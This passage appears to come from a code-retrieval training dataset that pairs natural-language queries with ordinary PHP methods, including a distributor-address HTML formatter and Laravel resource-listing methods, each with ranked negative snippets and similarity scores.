query
stringlengths
7
5.25k
document
stringlengths
15
1.06M
metadata
dict
negatives
sequencelengths
3
101
negative_scores
sequencelengths
3
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Distributor Address for presentation
public function printDistributorAddress() { $str = '<address class="vcard">'; $str .= '<p>'; $str .= '<strong class="org">' . $this->name . '</strong>'; if ( ! empty($this->address)) { $str .= '<br><span class="adr">'; $str .= '<span class="street-address">' . $this->address . '</span>'; if ( ! empty($this->city)) { $str .= '<br><span class="locality">' . $this->city . '</span>'; } if ( ! empty($this->region)) { $str .= ', <span class="region">' . $this->region . '</span>'; } if ( ! empty($this->postCode)) { $str .= ' <span class="postal-code">' . $this->postCode . '</span>'; } if ( ! empty($this->country)) { $str .= ', <span class="country-name">' . $this->country . '</span>'; } $str .= '</span>'; } if ( ! empty($this->website)) { $str .= '<br><a href="' . $this->website . '" class="url">' . $this->website . '</a>'; } if ( ! empty($this->contact)) { $str .= '<br>Contact: <span class="fn">' . $this->contact . '</span>'; } if ( ! empty($this->email)) { $str .= '<br>Email: <a href="mailto:' . $this->email . '" class="email">' . $this->email . '</a>'; } if ( ! empty($this->phone)) { $str .= '<br>Phone: <span class="tel">' . $this->phone . '</span>'; } $str .= '</p>'; $str .= '</address>'; return $str; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function address() { return ($this->address); }", "public function address(): string\n {\n return $this->address;\n }", "function viewAddress(){\r\n $payment = new managePaymentModel();\r\n $payment->cust_ID = $_SESSION['cust_ID'];\r\n return $payment->viewAddress();\r\n }", "public function renderAddress()\n {\n echo $this->getAddressStringSingleLine();\n }", "public function fullAddress(){\n\n return ' '.$this->house. ' '. $this->address. ', '. $this->postcode;\n }", "public function toString()\n\t{\n\t\treturn \"Customer on checkout page - Shipping address popup - created address is shown on [Shipping address] and [Billing address] section\";\n\t}", "public function toString() : string\n {\n return $this->address;\n }", "public function getOrganizationAddress1() :string {\n\t\treturn($this->organizationAddress1);\n\t}", "public function getDistributorCode()\n {\n return $this->distributorCode;\n }", "public function getAddress(): string\n {\n return $this->address;\n }", "public function __toString()\r\n {\r\n return $this['address'];\r\n }", "function add_address() {\n\t\t //$mailchimpform = mailchimpSF_signup_form();\n $cont .= '<span class=\"logo-address\">507 Kent Street, Utica, NY 13501 | (315) 797-2233 toll free (877) 719-9996</span>';\n\t \n\t echo $cont;\n }", "public function getAddress() {}", "public function property_address() {\n\n\t\t\t$out = '<h6>Business Name:</strong></h6>';\n\t\t\t$out .= '<p>' . get_field( 'practice_name' ) . '</p>';\n\t\t\t$out .= '<h6>Address:</h6>';\n\t\t\t$out .= '<p>' . get_field( 'address_street' ) . '<br/>';\n\t\t\t$out .= get_field( 'address_city' ) . ', ' . get_field( 'address_state' ) . ' ' . get_field( 'address_postcode' ) . '</p>';\n\n\t\t\treturn $out;\n\t\t}", "public function key() {\n\t\treturn \"Address\";\n\t}", "public function getFullAddressAttribute(){\n\n \treturn \"{$this->street} {$this->number}. {$this->dept}{$this->floor} - ({$this->postal_code}). {$this->city} - {$this->country}\";\n }", "public function getAddress(){\n\t\treturn $this->sourceAddress;\n\t}", "public function getAddress();", "public function getAddress();", "private function formatAddress()\n\t{\n\t\t$address = '';\n\n\t\t// street + number\n\t\t$address .= $this->street;\n\t\tif ($this->number)\n\t\t{\n\t\t\tif ($this->language === 'cs')\n\t\t\t{\n\t\t\t\t$address .= ' ' . $this->number;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$address = $this->number . ' ' . $address;\n\t\t\t}\n\t\t}\n\n\t\t// use \"Praha 1\" instead of \"Praha 1, Praha\"\n\t\tif (substr($this->quarter, 0, strlen($this->town)) === $this->town)\n\t\t{\n\t\t\t$useQuarter = TRUE;\n\t\t}\n\n\t\tif (!$address)\n\t\t{\n\t\t\t// [neighborhood]\n\t\t\t$address .= $this->neighborhood;\n\n\t\t\t// [quarter]\n\t\t\tif (!isset($useQuarter))\n\t\t\t{\n\t\t\t\t$address .= $this->quarter;\n\t\t\t}\n\t\t}\n\n\t\t// town [+ zip]\n\t\tif ($address)\n\t\t{\n\t\t\t$address .= ', ';\n\t\t}\n\t\tif ($this->language === 'cs' && $this->postalCode)\n\t\t{\n\t\t\t$address .= $this->postalCode . ' ';\n\t\t}\n\t\t$address .= isset($useQuarter) ? $this->quarter : $this->town;\n\n\t\t// [district]\n\t\tif (!$address)\n\t\t{\n\t\t\t$address .= $this->district;\n\t\t}\n\n\t\t// [region]\n\t\tif (!$address)\n\t\t{\n\t\t\t$address .= $this->region;\n\t\t}\n\n\t\t// state\n\t\tif ($address && ($this->state || $this->stateCode))\n\t\t{\n\t\t\t$address .= ', ';\n\t\t}\n\t\t$address .= $this->stateCode ?: $this->state;\n\n\t\t// [zip]\n\t\tif ($address && $this->language !== 'cs' && $this->postalCode)\n\t\t{\n\t\t\tif (!$this->state && !$this->stateCode)\n\t\t\t{\n\t\t\t\t$address .= ',';\n\t\t\t}\n\t\t\t$address .= ' ' . $this->postalCode;\n\t\t}\n\n\t\t// country\n\t\tif ($address)\n\t\t{\n\t\t\t$address .= ', ';\n\t\t}\n\t\t$address .= $this->country;\n\n\t\t$this->formatedAddress = $address;\n\t}", "public function getAddress() {\n if($this->isCash) {\n return $this->getPdfUrl(Dotpay::getInstance()->getSettings()->getPaymentUrl());\n } else {\n return $this->getBankPage(Dotpay::getInstance()->getSettings()->getPaymentUrl());\n }\n }", "function get_contact_address_markup() {\n\t$address = get_theme_mod( 'organization_address' );\n\tif ( !empty( $address ) ) {\n\t\tob_start();\n\t?>\n\t<address class=\"address\">\n\t\t<?php echo wptexturize( nl2br( $address ) ); ?>\n\t</address>\n\t<?php\n\t\treturn ob_get_clean();\n\t}\n\treturn;\n}", "public function getAddress(){\r\n\t\treturn $this->address;\r\n\t}", "public function getAddress()\n {\n \treturn $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "function stringify() {\n return $this->Name.' '.$this->Addressln1;\n }", "public function getAddress()\r\n {\r\n return $this->address;\r\n }", "public function getAdress()\n {\n return $this->adress;\n }", "public function getAdress()\n {\n return $this->adress;\n }", "public function getAddress1()\n {\n return $this->getValue('nb_icontact_prospect_address_1');\n }", "public function getFullAddressAttribute(): string\n {\n return \"$this->address\" . ($this->address2 ? ' #' . $this->address2 : '') . \", $this->city $this->state, $this->zip\";\n }", "private function get_address()\n\t{\n\t\treturn $this->m_address;\n\t}", "public function getAddress()\n\t{\n\t\treturn $this->address;\n\t}", "public function getAddress()\n\t{\n\t\treturn $this->address;\n\t}", "public function __toString() {\n return $this->adresse;\n }", "public function getAddress()\n {\n return implode(' ', $this->address);\n }", "public function findAddress()\n {\n $regex = '/.{1,100}[A-Z]{1,2}[0-9]{1}[A-Z0-9]*\\s+[0-9]{1}[A-Z]{2}/si';\n\n if (preg_match_all($regex, $this->data, $matches)) {\n $uniques = array_values(array_unique($matches[0]));\n foreach ($uniques as $key => $address) {\n $uniques[$key] = preg_replace(\"/[\\s\\r\\n]*[|]+[\\s\\r\\n]*/\", \", \", $address);\n }\n $this->address = $uniques;\n }\n }", "public function getAddress() {\n\t\treturn $this->address;\n\t}", "public function getAddress() {\n\t\treturn $this->address;\n\t}", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "public function getAddress()\n {\n return $this->address;\n }", "function _callback_distributor_orders($value, $row){\r\n $company = $this->order_model->getDistributorNameByID($row->id);\r\n return '<a href=\"/management/distributor_products/'.$row->id.'/3\">'.$company->company_name.'</a>';\r\n }", "public function getAddress() {\n return $this->address;\n }", "public function getaddress(){\n $address = $this->_run('getaddress');\n return $address;\n }", "public function getAddress1()\n {\n return parent::getValue('address1');\n }", "public function getAddress() {\n //return the value address\n return $this->Address;\n }", "protected function getMailingAddress()\n {\n return nl2br($this->escaper->escapeHtml($this->method->getMailingAddress()));\n }", "protected function getMailingAddress()\n {\n return nl2br($this->escaper->escapeHtml($this->method->getMailingAddress()));\n }", "public function getBillingAddress();", "public function getBillingAddress();", "function storefront_footer_site_info()\n {\n ?>\n <div class=\"content-copyright text-center\" itemprop=\"streetAddress\">Central Jakarta, Indonesia</div>\n <div class=\"content-copyright text-center\">Developed by <a target=\"_blank\" href=\"https://taufiqelrahman.com\">taufiqelrahman.com</a>.</div>\n <?php\n }", "public function getFullAddress() {\n $address = '';\n if (isset($this->street)) {\n $address .= $this->street . ', ';\n }\n\n if (isset($this->postcode)) {\n $address .= $this->postcode . ' ';\n }\n\n if (isset($this->city)) {\n $address .= $this->city . ', ';\n }\n\n// if (isset($this->state)) {\n// $address .= $this->state . ', ';\n// }\n\n if (isset($this->country)) {\n $address .= trans('countries.' . $this->country);\n }\n\n return $address;\n }", "public function getShowAddress()\n\t{\n\t\treturn $this->show_address;\n\t}", "public function toString()\n {\n return 'Default billing and shipping address form is correct.';\n }", "public function toString()\n {\n return 'Default billing and shipping address form is correct.';\n }", "public function getAddress()\n {\n return $this->get('address')->value;\n }", "public function getPrimaryBillingAddressHtml()\n {\n try {\n $address = $this->currentCustomerAddress->getDefaultBillingAddress();\n\n } catch (NoSuchEntityException $e) {\n return __('You have not set a default billing address.');\n }\n\n if ($address) {\n return $address;\n } else {\n return __('You have not set a default billing address.');\n }\n }", "protected function createDonorAddressEntry()\n {\n $this->donor_address = new DonorAddress;\n \n $this->donor_address->set('donor_id', $this->donor->get('id'));\n $this->donor_address->set('address', $this->data['address']);\n $this->donor_address->set('city', $this->data['city']);\n $this->donor_address->set('region', $this->data['region']);\n $this->donor_address->set('country', $this->data['country']);\n $this->donor_address->set('postal_code', $this->data['postal_code']);\n $this->donor_address->set('telephone', $this->data['telephone']);\n \n $this->donor_address->create();\n }", "public function getFullAddressAttribute(): string\n {\n return \"{$this->street} {$this->house_number}, {$this->city} {$this->zip_code}\";\n }", "public function toString() : string\n {\n $string = 'ORG:';\n $string .= $this->getName() . ';';\n $string .= $this->getDepartment();\n\n return trim($string);\n }", "public function getFormatedAddress()\n\t{\n\t\tif (!$this->formatedAddress)\n\t\t{\n\t\t\t$this->formatAddress();\n\t\t}\n\n\t\treturn $this->formatedAddress;\n\t}", "function ShipToAddress()\r\n\t{\r\n\t\r\n\t}", "public function getApplicantAddressOne()\n {\n return $this->getProperty('applicant_address_one');\n }", "public function getFormattedAddress()\n {\n return $this->FormattedAddress;\n }", "public function getAddr() : string\n {\n return $this->addr;\n }", "public function getAddress()\n {\n if (array_key_exists(\"address\", $this->_propDict)) {\n return $this->_propDict[\"address\"];\n } else {\n return null;\n }\n }", "public function getNameAddr()\n {\n $addr = $this->long_name;\n\n if ($this->street1) {\n if ($addr) $addr .= ', ';\n $addr .= $this->street1;\n }\n \n if ($this->street2) {\n if ($addr) $addr .= ', ';\n $addr .= $this->street2;\n }\n \n if ($this->city) {\n if ($addr) $addr .= ', ';\n $addr .= $this->city;\n }\n \n if ($this->state) {\n if ($addr) $addr .= ', ';\n $addr .= $this->state;\n }\n \n if ($this->zip) {\n if ($addr) $addr .= ' ';\n $addr .= $this->zip;\n }\n \n return $addr;\n }", "public function getPickupAddress()\n {\n /** @var Mage_Sales_Model_Quote $quote */\n $quote = Mage::getSingleton('adminhtml/sales_order_create')->getQuote();\n\n return Mage::helper('transsmart_shipping/pickupaddress')->getPickupAddressFromQuote($quote);\n }", "public function getFormattedAddress()\n {\n return $this->formattedAddress;\n }", "public function getBillingAddress($includeOrdererDetails = false)\n {\n $address = \"\";\n\n if ($includeOrdererDetails) {\n $address .= $this->name . \"<br>\";\n $address .= ($this->program_name ? $this->program_name : $this->program->name) . \"<br>\";\n }\n\n $address .= $this->address1 . \"<br>\";\n $address .= $this->address2 ? $this->address2 . \"<br>\" : \"\";\n $address .= $this->address3 ? $this->address3 . \"<br>\" : \"\";\n $address .= $this->city . \", \" . $this->state . \" \" . $this->zip;\n\n return $address;\n }", "public function getAddress()\n\t{\n\t\treturn $this->data['address'];\n\t}", "public function getAddress()\n {\n $res = $this->getEntity()->getAddress();\n\t\tif($res === null)\n\t\t{\n\t\t\tSDIS62_Model_DAO_Abstract::getInstance($this::$type_objet)->create($this);\n\t\t\treturn $this->getEntity()->getAddress();\n\t\t}\n return $res;\n }", "function drum_smart_address($address_array) {\n\t// Set up variables\n\t$street1 = $address_array['street1'];\n\t$street2 = $address_array['street2'];\n\t$city = $address_array['city'];\n\t$state = $address_array['state'];\n\t$zip = $address_array['zip'];\n\t// Format address for links to map\n\tif ($street2 == null) {\n\t\t$address = $street1 . ', ' . $street2 . ', ' . $city . ', ' . $state . ' ' . $zip;\n\t} else {\n\t\t$address = $street1 . ', ' . $city . ', ' . $state . ' ' . $zip;\n\t}\n\t// Create address output\n\t$output = $street1 . '<br />';\n\tif ($street2 != null) {\n\t\t$output .= $street2 . '<br />';\n\t}\n\t$output .= $city . ', ' . $state . ' ' . $zip;\n return $output;\n}", "public function getAddressAttribute()\n {\n return implode(', ', array_filter([\n $this->attributes['address_line_1'],\n $this->attributes['address_line_2'],\n $this->attributes['city'],\n $this->attributes['state'],\n $this->attributes['country'],\n $this->attributes['postal_code'],\n ]));\n }", "public function getJkw_hospitalAddressStr () {\n return $this->xprovince->name . $this->xcity->name . $this->xcounty->name . $this->content;\n }", "public function getShippingAddressForSeller(Request $request){\n $user_id = $request->id;\n if($user_id == ''){\n return view('pos.frontend.seller.pos.guest_shipping_address');\n }\n else{\n return view('pos.frontend.seller.pos.shipping_address', compact('user_id'));\n }\n }", "public function getPrimaryShippingAddressHtml()\n {\n try {\n $address = $this->currentCustomerAddress->getDefaultShippingAddress();\n } catch (NoSuchEntityException $e) {\n return __('You have not set a default shipping address.');\n }\n\n if ($address) {\n return $address;\n } else {\n return __('You have not set a default shipping address.');\n }\n }", "function getDistributor() {\n\t\treturn $this->getParam(self::PARAM_DISTRIBUTOR);\n\t}", "public function get_formatted_address() {\n\n\t\t\t$address_parts = array(\n\t\t\t\t'store' => '<br/>',\n\t\t\t\t'address' => '<br/>',\n\t\t\t\t'address2' => '<br/>',\n\t\t\t\t'city' => ', ',\n\t\t\t\t'state' => ' ',\n\t\t\t\t'zip' => '<br/>',\n\t\t\t\t'country' => '',\n\t\t\t);\n\n\t\t\t/**\n\t\t\t * FILTER: slp_formatted_location_address_elements\n\t\t\t *\n\t\t\t * @params string[] and array of the property names (key) and after-field suffix (value) we want to use to build the string.\n\t\t\t *\n\t\t\t * @return string[] modified list of property names\n\t\t\t */\n\t\t\t$address_parts = apply_filters( 'slp_formatted_location_address_elements', $address_parts );\n\n\t\t\t// Get the valid non-empty properties.\n\t\t\t//\n\t\t\t$valid_parts = array();\n\t\t\tforeach ( $address_parts as $property => $suffix ) {\n\t\t\t\tif ( property_exists( $this, $property ) && ( ! empty ( $this->$property ) ) ) {\n\t\t\t\t\t$valid_parts[] = $this->$property . $suffix;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/**\n\t\t\t * FILTER: slp_formatted_location_address\n\t\t\t *\n\t\t\t * @params string the formatted name\n\t\t\t *\n\t\t\t * @return string the modified name\n\t\t\t */\n\t\t\treturn apply_filters( 'slp_formatted_location_address', join( ' ', $valid_parts ) );\n\t\t}" ]
[ "0.64839643", "0.6309607", "0.62910753", "0.62617326", "0.6122346", "0.6106823", "0.60907793", "0.6065269", "0.60634726", "0.60541743", "0.60255396", "0.59778386", "0.59553933", "0.59094447", "0.59061325", "0.58745325", "0.58720684", "0.5855768", "0.5855768", "0.584866", "0.5833721", "0.58151305", "0.5799154", "0.5793558", "0.57734495", "0.57579434", "0.5755581", "0.57245064", "0.57245064", "0.5724027", "0.57128435", "0.57108456", "0.5703546", "0.5703546", "0.5696967", "0.5676957", "0.56616193", "0.5657039", "0.5657039", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56562495", "0.56559956", "0.56528795", "0.5648167", "0.56339276", "0.56321555", "0.56063676", "0.56063676", "0.5605236", "0.5605236", "0.56022555", "0.5599554", "0.55935514", "0.559283", "0.559283", "0.5586796", "0.5585586", "0.5583477", "0.5583242", "0.5574799", "0.55742216", "0.55677736", "0.5555377", "0.5552725", "0.5545949", "0.55442303", "0.5530924", "0.5522072", "0.55219376", "0.55100435", "0.55089235", "0.5495446", "0.5487708", "0.5485402", "0.5478482", "0.5473099", "0.54720265", "0.5469232", "0.54690677" ]
0.80096704
0
Display a listing of the resource.
public function index() { return view('pages.friends'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => 